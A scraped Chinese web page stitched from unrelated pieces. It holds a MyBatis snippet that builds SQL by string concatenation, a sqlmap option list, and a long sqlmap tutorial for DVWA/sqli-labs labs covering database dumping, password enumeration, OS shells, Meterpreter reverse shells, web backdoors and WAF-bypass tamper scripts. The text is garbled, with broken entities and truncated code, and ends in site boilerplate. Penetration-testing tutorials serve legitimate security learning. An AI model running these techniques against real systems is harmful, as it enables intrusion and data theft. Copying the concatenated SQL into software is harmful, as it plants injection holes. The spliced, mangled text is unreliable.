如何在sqlmap配置 中配置count

关于拼接SQL语句sqlMap的使用方法 - 半仙_忆 - 博客园
1.为什么使用?
& 主要还是为了代码中获取到值,然后带入SQL语句中拼接查询
2.怎么使用?
1)bean继承了BaseEntity类,该类中有
* 自定义SQL(SQL标识,SQL内容)
protected Map&String, String& sqlM
@JsonIgnore
@XmlTransient
public Map&String, String& getSqlMap() {
if (sqlMap == null){
sqlMap = Maps.newHashMap();
return sqlM
public void setSqlMap(Map&String, String& sqlMap) {
this.sqlMap = sqlM
2)XML中如何写?
&select id="findList" resultType="ZlfbBean"&
SELECT * FROM (
&include refid="ZlfbBeanColumns"/&
FROM ZL_HCZZ i &include refid="ZlfbBeanJoins"/&
AND i.del_flag = #{DEL_FLAG_NORMAL}
${sqlMap.dsf} //此处加入service中的限制条件
&if test="zlbh != null and zlbh != ''"&
AND i.ZLBH = #{zlbh}
&if test="createBy != null and createBy.id != null and createBy.id != ''"&
AND i.CREATE_BY = #{createBy.id}
&if test="office != null and office.id != null and office.id != ''"&
AND i.OFFICE_ID = #{office.id}
ORDER BY i.CREATE_DATE DESC,i.UPDATE_DATE DESC
AND t.del_flag = #{DEL_FLAG_NORMAL}
&if test="beginInDate != null and beginInDate != ''"&
AND t.CREATE_DATE &![CDATA[ &= #{beginInDate} ]]&
&if test="endInDate != null and endInDate != ''"&
AND t.CREATE_DATE &![CDATA[ &= #{endInDate} ]]&
3)service中:
public Page&ZlfbBean& findzlfb(Page&ZlfbBean& page,ZlfbBean bean){
// 生成数据权限过滤条件(dsf为dataScopeFilter的简写,在xml中使用 ${sqlMap.dsf}调用权限SQL)
User user = UserUtils.getUser();
String dsf = dataScopeFilter( user, "l", "k");//返回的是如AND (k.id='user.getId()')
if((bean.getCreateBy()==null || bean.getCreateBy().getId().equals("")) && (bean.getOffice()==null || bean.getOffice().getId().equals(""))){
dsf = dsf+" OR i.zlbh IN( "
DISTINCT t1.zlbh FROM ZL_HCZZ t1 join ZL_HCZZSP t2 on t1.zlbh=t2.zlbh where t2.CREATE_BY = "+user.getId()
+" OR i.zlbh IN( "
DISTINCT t1.zlbh FROM ZL_HCZZ t1 join ZL_HCZZQS t2 on t1.zlbh=t2.zlbh where t2.CREATE_BY = "+user.getId()+" OR ((SELECT COUNT(1) FROM SYS_USER WHERE id="+user.getId()+" and qsqx='01' and office_id='"+user.getOffice().getId()+"') & 0 ) AND t2.QS_DW = '"+user.getOffice().getId()+"' "
+" OR i.zlbh IN( "
DISTINCT t1.zlbh FROM ZL_HCZZ t1 join ZL_HCZZFK t2 on t1.zlbh=t2.zlbh where t2.CREATE_BY = "+user.getId()
bean.getSqlMap().put("dsf", dsf);给sqlmap集合中添加值,即添加一个dsf字符串的值为dsf
// 设置分页参数
bean.setPage(page);
// 执行分页查询
page.setList(zlfbDao.findList(bean));SQLMap命令教程
我的图书馆
SQLMap命令教程
-p&& &&& &&& &指定测试参数
-b&& &&& &&& &获取banner
--dbs& &&& &&& &列举数据库
--is-dba&& &&& &是否是管理员权限
--current-db&& &&& &当前数据库
--current-user&& &&& &当前用户
--tables&& &&& &列举数据库的表名
--count&& &&& &&& &检索所有条目数
--columns&& &&& &获取表的列名
--dump && &&& &&& &获取表中的数据,包含列
--dump-all&& &&& &转存DBMS数据库所有表项目
--level&& &&& &&& &测试等级(1-5),默认为1
-v& &&& &&& &&& &显示详细信息
读取数据库---&读取表----&读取表的列----&获取内容
-D &&& &&& &&& &指定数据库
-T&& &&& &&& &指定表
-C&& &&& &&& &指定列
--dbms=mysql& oracle mssql&&& &&& &指定数据库
=======================================
参照官方文档:/sqlmapproject/sqlmap/wiki/Usage。
-b&& &获取banner
-p&& &指定测试参数
-g&& &从google中获取URL , -g "inurl:aspx?id="
--gpage=GOOGLEPAGE&& &指定Google页码
--union-check&& &是否支持union 注入
--union-cols && &union 查询表记录
--union-test && &union 语句测试
--union-use && &采用union 注入
--proxy&& &代理注入
---threads&& &采用多线程
--user-agent && &自定义user-agent
--referer=REFERER&& &HTTP referer头
--proxy=PROXY&& &使用代理
--string&& &指定关键词
--tor&& &创建tor的匿名网络
--predict-output&& &常见的查询输出预测
--keep-alive&& &使用持久HTTP(S)连接
--eval=EVALCODE&& &所使用HTTP参数污染
-a,-all&& &查询所有
--hostname&& &主机名
--is-dba&& &是否是管理员权限
--users&& &枚举所有用户
--passwords&& &枚举所有用户密码
--roles&& &枚举所有用户角色
--schema&& &枚举DBMS模式
--count&& &检索所有条目数
--dump&& &转存DBMS数据库表项目,需要制定字段名称(列名称)
--dump-all&& &转存DBMS数据库所有表项目
--search&& &搜索列,表或数据库名称
--exclude-sysdbs&& &在枚举表时排除系统数据库
--sql-query=query&& &执行SQL语句
--file-read=RFILE&& &读取操作
--file-write=WFILE&& &写入操作
--file-dest=DFILE&& &绝对路径写入
--reg-read&& &阅读一个Windows注册表项值
--reg-add&& &增加一个Windows注册表项值数据
--reg-del&& &删除一个Windows注册表项值数据
--reg-key=REGKEY&& &Windows注册表键
--reg-value=REGVAL&& &Windows注册表键值
-- reg-data=REGDATA&& &Windows注册表的键值项数据
--reg-type=REGTYPE&& &Windows注册表键的值类型
--csv-del=CSVDEL&& &划定CSV输出中使用的字符 (default ",")
--dump-format=DUMP&& &转存数据格式(CSV (default), HTML or SQLITE)
--hex&& &使用十六进制数据检索功能
--output-dir=ODIR&& &自定义输出的目录路径
--update&& &更新SQLMap
--purge-output&& &安全的删除所有内容输出目录
--check-waf&& &启发式检查WAF / IPS / IDS保护
--os-pwn&& &反弹shell
--cookie=COOKIE&& &指定HTTP Cookie ,预登陆
--random-agent&& &使用随机选定的User-Agent头
--tamper=TAMPER&& &使用SQLMap插件
--level&& &测试等级(1-5),默认为1
TA的最新馆藏
喜欢该文的人也喜欢用户名:wt7315
文章数:31
评论数:11
访问量:28661
注册日期:
阅读量:1297
阅读量:3317
阅读量:580830
阅读量:464292
51CTO推荐博文
本实验是基于DVWA和sqli-labs的实验环境实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下。安装只要注意Wamp环境的数据库名和密码对应即可。sqlmap里涉及到的sql注入原理,请参考sqlmap里涉及到的有关HTTP头,请参考由于sqlmap的强大,参数也非常多,此次基本将sqlmap的参数总结完了,常用的参数会截图演示。因为内容比较多,所以请耐心的看完。一:sqlmap简介&SQLMap是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。&Sqlmap功能&sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。sqlmap的功能强大到让你惊叹,常规注入工具不能绕过的话,终极使用sqlmap会有意想不到的效果。1、判断可注入的参数2、判断可以用那种SQL注入技术来注入3、识别出哪种数据库4、根据用户选择,读取哪些数据5、可执行情况6、当前数据库用户名称和拥有的权限7、发现WEB虚拟目录8、上传木马getshell9、绕过防火墙&SQLMap命令选项归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。 共有七个等级,默认为1: 0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。(默认) 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。 如果你想看到sqlmap发送的测试payload最好的等级就是3。&&sqlmap支持的注入模式1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。4、联合查询注入,可以使用union的情况下的注入。(适合用于通过循环直接输出联合查询结果,否则只会显示第一项结果)5、堆查询注入,可以同时执行多条语句的执行时的注入。&&&sqlmap的特性(1.)sqlmap支持的数据库有:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,MicrosoftAccess, IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB&(2.)可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。&(3.)测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。(4.)可以设定HTTP(S)请求的并发数,来提高盲注时的效率。&(5.)支持Basic,digest,NTLM ,CA身份验证&(6.)限速:最大并发、延迟发送 &(7.)数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称&(8.)文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表&(9.)与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门。&&&二、sqlmap的安装和升级直接在/sqlmapproject/sqlmap下载apt-get instal gitgit clone /sqlmapproject/sqlmap.git sqlmap-dev&升级sqlmap --update &在线git pull &离线&&三、sqlmap请求get方法对于get的请求,比较简单,直接指定目标-d: 直接连接数据库 (-d "mysql://user:passward@地址:端口/数据库名称")-u:指定url &(?id=1)-m:将多个url保存成文件,传给sqlmap (sqlmap -m list.txt)-r:将http头信息保存到文件,交给sqlmap-g:google搜索出来的结果 (-g "inurl:\".php?id=1\"")\"只是将双引号内的"特殊字符进行转义-p :只想检查的变量-f :指纹--users:数据库帐号--banner:数据库信息--dbs:有哪些数据库-a:allget请求应该是大家所熟悉的,sqlmap - u直接加URL,参数就可以了。&&post方法post和get的区别,在之前的http详解中也详细的列了表单解释,直接明显的区别,可以查看有没有将我们输入的值放入URL中。下面介绍几种对于post请求的sqlmap注入。1.使用http请求文件可以用burpsuite抓包并复制到txt文件(注意请用gedit编辑器,vim会因为格式问题报错)sqlmap&-r&1.txt2.使用burpsuite log文件 (勾选上options中的Misc中的proxy)sqlmap&-l&log.txt3.HTTPSsqlmap同时也支持https的sql注入,只需加入参数-force-ssl告诉sqlmap这是https服务即可。如sqlmap -u https://192.168.1.1/a.php?id=1" -force-ssl &(默认不是443,在后加其端口)&&&三、&HTTP数据1、数据段: -data& get/post都适用对于post还可以使用链接并将post抓取的源代码用--data,并输入抓取的源代码sqlmap -u http://"链接" --data="post请求抓取的源代码" --dbs,常用于post请求。这里用于抓取源代码的工具是火狐的插件,firebug。这个插件的功能非常强大。2、cookie头 &--cookieweb应用基于cookie的身份验证,对于post请求,可以指定cookiesqlmap -u "url" --cookie="..." --level 2 --dbs需要注意的是,当level默认为1的时候,默认不扫cookie的内容,必须是level大于等于2才能扫cookie里的内容sqlmap -u "" &--cookie="CNZZDATA3568186=cnzz_eid%3D--%26ntime%3D%26cnzz_a%3D1%26sin%3Dnone%26ltime%3D6%26rtime%3D1; CNZZDATA3834609=cnzz_eid%3Dntime%3D%26cnzz_a" -p ”CNZZDATA3834609“ --data "" &--level 2当需要对cookie注入的时候,必须使用--cookie选项,--data "" 因为post的数据长度为0,但是又想使用post方法进行注入,则使用--data "",使用--data选项后,sqlmap自动使用post方法,sqlmap不支持使用--method指定http请求方法获取cookie同样可以使用firebug插件。3、其他的http头--user-agent http头会携带一个值,就是user-agent,表示访问的浏览器的信息,我们可以手动指定伪造一个。--random-agent 随机产生user-agent头,也不是随机,是从/usr/share/sqlmap/txt/user-agents.txt,收集了大量的浏览器信息sqlmap -u "..." --cookie="..." --level 2& --random-agent&--dbs--user-agent="aaaaa"sqlmap 检查uesr-agent中的注入点, &lever&=3才会去检查user-agent头是否存在注入漏洞4、host头Host请求报头域主要用于指定被请求资源的Internet主机和端口号,它通常从HTTP URL中提取出来的--host &level=5,host存在注入的漏洞情况比较少,同时也不建议把级别设置成5--host="aaaaaa",每次HOST请求时都会变成一串a&5、referer头&原来所处的页面的url,可通过--referer来指定--referer &level&=3,才会对referer头进行检测如:--referer=“aaaa”&&6、额外的自定义的header--headers每个头单独一行,可以使用\n来换行(名称区分大小写)四、身份验证1、基于HTTP协议的身份验证Basic&&&&基本身份验证Digest&&&摘要式身份认证NTLM&&&&&NTLM身份验证(windows)&sqlmap -u "..." &--auth-type Basic --auth-cred "user:pass" ,指明验证类型为Basic,并说明用户名和密码&&2、基于客户端证书(比较少见,在以前的网银中比较常见)&当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。--auth-cert(官方文档)& /auth-file(sqlmap中-hh所显示的参数)&&&如:--auth-file="ca.PEM",含有私钥的PEM格式证书文件或PEM格式的证书链文件&&&3、http(s)代理主动请求时会被记录,被发现屏蔽,这时我们需要个代理,就用到了--proxy参数了。--proxy="http://127.0.0.1:8087"--proxy-cred="name:pass" &需做身份验证时--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标(若在操作系统设置了代理,后续的一切工作都经过代理)&&五、sqlmap使用技巧1、HTTP请求延迟发送量过大的话,会引起waf等发现,--delay &每次http(s)请求之间延迟时间,浮点数,单位为妙,默认无延迟,输入此参数,你会发现每个请求都会延迟3秒,当然数据库还是可以爆出来的。2、 设置请求超时时间若客户端一直未收到服务器返回的值,就一直等着,所以需要个请求超时时间--timeout &请求超时时间,浮点数,默认30秒&3、设定重试时间--retries &http(s)连接超时重传次数,默认3次&4、设定随记改变的参数值--randomize长度、类型与原始值保持一致的前提下,值当每次请求随记取值的参数名sqlmap -u &--randomize="id"&&&5、利用正则表达式过滤目标网址--scope &使用brup抓取的日志文件,但 日志文件比较大,你只想检测日志中的一个站点或者某一个特征是否存在sql注入过滤 日志内容,通过正则表达式筛选扫描对象sqlmap -l burp.lpg --scope="(www)?\.baidu\.(com|net|org)"sqlmap -l burp.lpg --scope="(19)?\.168\.20\.(1|10|100)"&&&6、避免过多的错误请求被屏蔽有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。常见情况是在检测盲注阶段会产生大量失败请求,当产生大量错误请求后,服务器端可能因此销毁session&绕过这个策略有两种方式:1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。&&&7、关掉URL参数值编码--skip-urlencode 默认get方法会对传输内容进行编码,某些web服务器不遵循RFC标准编码,使用原始字符提交数据&&8、每次请求时候执行自定义的python代码--eval每次请求前执行指定的python代码在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用Ceval参数在每次请求时根据所写python代码做完修改后请求。每次请求更改或增加新的参数值(时间依赖,其他参数值依赖)sqlmap -u &--eval="python sqlmap.py -u "/vuln.php?id=1&hash=c4ca820dcc509a6f&&六、OPTIMIZATION优化性能-o &开启三个性能参数(除--threads)&--predict-output &根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率版本名、用户名、密码、Prervileges、role、数据库名称、表名、列名与--threads参数不兼容统计表路径:/usr/share/sqlmap/txt/common-outputs.txt&--keep-alive &使用http(s)长连接,性能好,与--proxy参数不兼容&--null-conection只获取响应页面的大小值,而非页面具体内容能够通常用于盲注判断真/假,降低网络带宽消耗与--text-only参数不兼容(基于页面内容的比较判断真/假)&--threads=THREADS最大并发线程盲注时每个线程获取一个字符(7此请求),获取完成后线程结束默认为1,建议不要超过10,否则可能影响站点可用性与--predict-output参数不兼容七、注入1、指定测试的参数-P &sqlmap默认测试所有的GET和POST参数,当Clevel的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”指定扫描的参数,也可指定变量名称,使--level失效&&2、排除测试的参数--skip &当你使用Clevel的值很大但是有个别参数不想测试的时候可以使用Cskip参数。排错指定的扫描参数,不指定的默认会对全部扫描,然后根据level级别对http头扫描如:--level=5 --skip="id,uesr-agent"&&3、指定数据库默认情况系sqlmap会自动的探测web应用后端的数据库是什么,但是你如果已经知道的目标是什么数据库了,可以使用--dbms指定数据库节省时间了,提高工作效率了&--dbms &不仅可以指定数据库类型,还可以指定数据库版本--dbms="mysql"如:Mysql&5.0&Oracle&11i&Microsoft SQL Server &2005&PostgreSQLMicrosoft AccessSQLiteFirebirdSybaseSAP MaxDBDB24、指定数据库服务器系统--os默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。LinuxWindows&&&5、指定无效的大数字--invalid-bignum &/--invalid-logical默认情况下sqlmap使用负值使参数失效 id=13-&id=-13bignum使用大数使参数值失效 id=999999&&6、指定无效的逻辑logical使用布尔判断使值失效 id=3 and 1=2&&&7、--no-castsqlmap在提取数据库数据时,sqlmap默认将所有结果转换为字符串,并且空格替换NULL结果老版本mysql数据库需要开启此开关&8、--no-escape &不逃逸,关闭使用char替换字符串功能出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃避的方法替换字符串select 'foo' -&select char(102)+char(111)+char(111)&&&9、注入payload--prefix /--sufix &在有些测试时,在构造pylaold需要构造闭合语句,才能实现最后注入的成功--prefix是加前缀--sufix加后缀eg:sqlmap -u "http://192.168.1.1/a.php?id=1" --prefix"')" --suffix "and ('1'='1"&&10、脚本--tamper混淆脚本,用于绕过应用层过滤、IPS、WAFdpkg -L sqlmap | grep &tamper 查看脚本&sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用Ctamper参数对数据做修改来绕过WAF等设备。&--tamper="脚本名称" 多个脚本用逗号隔开&11、探测等级共有五个等级,默认为1,sqlmap使用的payload可以在/usr/share/sqlmap/xml/payloads中看到,你也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。--level&&12、风险等级共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。--risk1-4 (默认1无害)risk升高可造成数据被篡改等风险 (update)--string--not-string--regexp--code--text-only--titles&&八、注入技术1、检测类型检测存在sql注入的技术类型,默认会测试所有的方式。B:Boolean-based-blind&&(布尔型型注入)E:Error-based&&&(报错型注入)U:Union query-based&&(联合注入)S:Starked queries & (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)T:Time-based blind&&(基于时间延迟注入)&&&2、设定延迟注入的时间--time-sec基于时间的注入检测响应延迟时间(默认5秒)&&3、设定UNION查询字段数--union-cols默认联合查询1-10列,随-level增加最多支持50列如--time-sec 6-9,测试6-9个字段数&4、设定union查询使用的字符-union-char联合查询默认使用NULL,极端情况下NUL可能失败,此时可以手动指定数值&如--union-char 123&&&5、二阶sql注入--second-order有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。Csecond-order后门跟一个判断页面的URL地址。&&&6、FINGERPRINT(指纹)-f,--fingerprint&执行检查广泛的DBMS版本指纹&-b,--banner数据库管理系统指纹信息大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。&&7、 枚举参数--current-user 当前数据库管理系统的帐号--current-db &当前数据库的名称--hostname & 机器的主机名--users & & & & 数据库管理系统所有的帐号&&--privileges & 查看所有用户权限,加&-U username &指定用户名(CU 表示当前帐号)--roles & & & 角色--dsb & &查看所有的数据库--tables,列举数据库表--exclude-sysdbs& 排除系统数据库-T uesrs -D dvwa -C user -columns--count &列举数据库表中的字段--schema -batch 批处理,全部使用默认选项--is-dba &&判断当前的用户是否为管理,是的话会返回True。--count &&获取表中数据个数&&8、伪静态对于伪静态,只需在值前面加*即可如:valuel/user &-&valuel*/user&&&9、暴力破解对于用sql注入无法爆出的数据库内容,可以使用暴力破解尝试着爆出数据库的内容。暴力破解表名--common-tables&mysql&5.0,没有information schema库mysql&=5.0,但无权限读取information schema库&微软的access数据集,默认无权读取mysysobjects库&&--common-columns&暴力破解列名(access系统表无列信息)暴力破解的表在txt/common-tables.txt文件中,列名在txt/common-columns.txt中。可以自行添加。&&10、用户自定义函数注入参数:Cudf-inject,Cshared-lib&你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。&&&11、从数据库服务器中读取文件当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。--file-read & 读取系统文件如--file-read="E:/eula.1028.txt"把文件上传到数据库服务器中--file-write--file-write="123.txt"--file-dest"C:/xampp/htdocs/dvwa/123.txt"12、运行任意操作系统命令当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。&在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。&那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认止),sqlmap会重新启用它,如果不存在,会自动创建。--sql-shell--os-shell--os-cmd&用Cos-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:1、ASP2、ASP.NET3、JSP4、PHP&九、常规参数1.-s &sqlmap会话文件保sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。&2.-t 记录流量文件保存位置这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。3.C-batch用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。&4.强制使用字符编码--charset 强制字符编码& --charset=GBK不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定&5.爬行网站URLsqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。--crawl &从起始位置爬站深度& --batch--crawl=3&6.刷新session文件--flush-session &清空session如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。&7.自动获取form表单测试&Cforms如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过Cdata参数测试。 但是当使用Cforms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。&8.忽略在会话文件中存储的查询结果-fresh-quesries 忽略session查询结果&9.使用DBMS的hex函数--hex &dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原&&10.分析和现实数据库内建报错信息--parse-errors &将会分析和现实数据库内建报错信息&如:sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors&&&&十、杂项1.参数助记符-z&如:sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u 1.1.1.1/a.asp?id=1可以写成sqlmap -z"bat,random,ign,tec=BEU" -u&1.1.1.1/a.asp?id=1&2.检查是否waf/ips/ids (结尾会对如何绕过防火墙详细介绍)--identify-waf彻底的waf检查,支持30多种产品--check-waf&首先--identify-waf&3.http parameter pollution--hpp绕过waf的有效方法,尤其对asp/iis和asp.net、iis&4.设定会发的答案Canswers &(这个参数....)&当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数如:sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch&&5.发现SQL注入时发出蜂鸣声&Cbeep&发现sql注入时,发出蜂鸣声。&&6.模拟智能设备--mobile&7.清空output文件夹--purge-output &8.只选择基于错误的检测结果--smart 当有大量检测目标时,只选择基于错误的检测结果&&9.初级用户向导参数--wizard 向导,会一步一步引导你填入参数进行注入。&10.自定义输出的路径&Coutput-dir&sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:Coutput-dir=/tmp&十一.Meterpreter配合使用&Cos-pwn,Cos-smbrelay,Cos-bof,Cpriv-esc,Cmsf-path,Ctmp-path&当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:&1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。4、通过溢出Microsoft SQL Server 的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof十二、如何用sqlmap绕过防火墙&现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过,达到注入的目标。1.确认WAF&首先我们判断该Web 服务器是否被WAF/IPS/IDS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap 的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断。在此我们,也介绍使用sqlmap 进行检测是否有WAF/IPS/IDSsqlmap -u "所要测试的url" --thread 10 --identify-waf & & 首选sqlmap -u "所要测试的url" --thread 10 &--check-waf & & &备选2.使用参数绕过sqlmap -u "所要测试的url" --random-agent -v 2 &使用任意浏览器进行绕过,尤其是在WAF配置不当的时候sqlmap -u "所要测试的url" --hpp -v 3 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上sqlmap -u "所要测试的url" &--delay=3 --time-sec=60 使用长的延时来避免触发WAF的机制,这方式比较耗时sqlmap -u "所要测试的url" proxy=211.211.211.211:8080 --proxy-cred=211:985 使用代理进行注入等3.使用脚本sqlmap -u "所要测试的url" --tamper=A.py,B.py脚本种类及作用:apostrophemask.py &用utf8代替引号equaltolike.py & &MSSQL * SQLite中like 代替等号greatest.py &MySQL中绕过过滤’&’ ,用GREATEST替换大于号space2hash.py 空格替换为#号 随机字符串 以及换行符apostrophenullencode.py & MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论space2morehash.py &MySQL中空格替换为 #号 以及更多随机字符串 换行符appendnullbyte.p & Microsoft Access在有效负荷结束位置加载零字节字符编码ifnull2ifisnull.py & & & &MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤space2mssqlblank.py(mssql) & mssql空格替换为其它空符号base64encode.py & & 用base64编码space2mssqlhash.py & mssql查询中替换空格modsecurityversioned.py & mysql中过滤空格,包含完整的查询版本注释space2mysqlblank.py & & &mysql中空格替换其它空白符号between.py & & & &MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(&)space2mysqldash.py & MySQL,MSSQL替换空格字符(”)(’ C ‘)后跟一个破折号注释一个新行(’ n’)multiplespaces.py & &围绕SQL关键字添加多个空格space2plus.py & & & 用+替换空格bluecoat.py & & & &MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为likenonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代space2randomblank.py & 代替空格字符(“”)从一个随机的空白字符可选字符的有效集sp_password.py & & & 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾chardoubleencode.py & 双url编码(不处理以编码的)unionalltounion.py & 替换UNION ALL SELECT UNION SELECTcharencode.py & & & Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;randomcase.py & & & Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写unmagicquotes.py & & 宽字符绕过 GPC addslashesrandomcomments.py & &用/**/分割sql关键字charunicodeencode.py & ASP,ASP.NET中字符串 unicode 编码securesphere.py & & &追加特制的字符串versionedmorekeywords.py & & MySQL &= 5.1.13注释绕过halfversionedmorekeywords.py &MySQL & 5.1中关键字前加注释4.脚本参数组合策略绕过sqlmap -u "所要测试的url" --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.pysqlmap -u "所要测试的url" --user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py因为WAF可能采用白名单规则,所以对于选择哪种策略,重点是根据-v 3 提示的信息进行判断,可以抓取主流的浏览器的user-agent ,s适当的延时,加上注入字符转换---大小写、空格、字符串、注释、加密等等方式&鉴于参数和32种脚本,在我们平时的注入,这些通过不同的多重组合来进行测试,这个测试或者比较耗时。由于水平有限,sqlmap的参数也太多,文中若有错误,欢迎指导,同时,也希望各位渗透爱好者可以一起交流。本文出自 “” 博客,请务必保留此出处
了这篇文章
类别:┆阅读(0)┆评论(0)

我要回帖

更多关于 sql中count 的文章

 

随机推荐